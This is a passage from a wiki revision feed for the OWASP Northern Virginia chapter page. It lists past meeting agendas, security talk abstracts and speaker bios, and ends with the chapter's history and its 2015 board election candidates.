&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615] &lt;br /&gt;
&lt;br /&gt;
John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul] &lt;br /&gt;
&lt;br /&gt;
Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino] &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview] &lt;br /&gt;
&lt;br /&gt;
Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky] &lt;br /&gt;
&lt;br /&gt;
Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov] &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks] &lt;br /&gt;
&lt;br /&gt;
Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt] &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity] &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889] &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206274</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206274"/>
				<updated>2016-01-11T22:09:38Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: Undo revision 206273 by Michael McCabe (talk)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. &lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board (alphabetical order):&lt;br /&gt;
* Michael McCabe - Board Chair&lt;br /&gt;
* Abdullah Munawar&lt;br /&gt;
* Akshay Sivananda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
